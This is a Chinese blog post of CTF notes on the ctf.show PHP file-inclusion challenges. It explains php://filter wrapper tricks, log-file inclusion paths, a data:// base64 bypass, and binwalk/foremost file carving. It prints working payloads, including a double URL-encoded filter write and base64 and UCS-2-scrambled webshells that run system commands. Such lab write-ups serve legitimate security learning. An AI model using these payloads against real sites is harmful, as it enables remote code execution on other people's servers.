ctf_show笔记篇(web入门---文件包含)

目录

文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

​编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

117:还是使用php伪协议的特性


文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

日志文件路径:前提是可以访问到日志文件

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

大小写绕过,例如PHP://filter

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

这里使用urldecode来解码file,那么传入数据的时候就要进行url编码

那么这些过滤就没用了不用管了

payload:

原:file=php://filter/write=convert.base64-decode/resource=a.php

url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

原content=<?php eval(system($_GET[1]));?>

content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

利用php伪协议的特性

  1. base64指定只能只用a-z A-Z 0-9的字符
    所以<?php die('大佬别秀了');?>就会变成phpdie,这里就会直接让他的die无效化
  2. 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
    最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

过滤以下协议,当没有填入file函数的时候file=sp2.mp4

117:还是使用php伪协议的特性

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

UCS-2LE编码转换为UCS-2BE编码,这个过滤器需要php支持iconv

通过这样可以将<?php die();?>打乱

而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以

contents=?<hp pvela$(P_SO[T]a;)>?

相关推荐
奔跑的Lunzi8 分钟前
ODrive学习笔记一:开发环境搭建
笔记·学习
蜗牛学苑_武汉17 分钟前
php上传文件
开发语言·php
北漂的老猿25 分钟前
前一段时间比较火的刷网课平台源码,带数据库和教程
数据库·php·教育电商·在线教育·网课
下雪天的夏风1 小时前
React@16.x(55)Redux@4.x(4)- store
前端·javascript·react.js
志远有18CM1 小时前
MacOS 通过Docker安装宝塔面板搭建PHP开发环境
macos·docker·php·宝塔
玖玥西2 小时前
html5——CSS3_文本样式属性
前端·css·html·css3·html5·web
卓卓没头发2 小时前
Vue Router 4:构建高效单页面应用的路由管理
前端·javascript·vue.js
国中之林4 小时前
【qt】TCP的监听 (设置服务器IP地址和端口号)
服务器·qt·学习·tcp/ip·php
SuGarSJL5 小时前
npm ERR! code ENOTEMPTY npm ERR! syscall rename npm ERR!
前端·npm·node.js
tonylua6 小时前
Python: 从 2.7 升级到 3,我比 vue 慢了一点点
开发语言·前端·javascript·vue.js·python